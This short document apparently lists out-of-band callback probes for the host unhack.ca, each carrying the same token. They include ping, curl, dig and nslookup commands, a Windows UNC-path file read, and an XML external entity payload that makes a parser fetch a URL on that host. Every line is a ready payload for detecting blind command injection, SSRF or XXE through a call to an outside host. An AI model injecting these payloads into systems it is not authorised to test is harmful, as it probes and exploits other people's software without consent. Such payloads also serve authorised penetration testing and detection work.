$ ping -c1 -p 000972fbb67194bc4859e96d605aa300 unhack.ca
 

$ curl http://unhack.ca/p/0972fbb67194bc4859e96d605aa3
 

$ dig 0972fbb67194bc4859e96d605aa3 @unhack.ca
 

$ dig 0972fbb67194bc4859e96d605aa3.ns.unhack.ca
 

C:\> nslookup 0972fbb67194bc4859e96d605aa3 unhack.ca
 

C:\> type \\unhack.ca\0972fbb67194bc4859e96d605aa3\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0972fbb67194bc4859e96d605aa3">]>
    <foo>&xxe;</foo>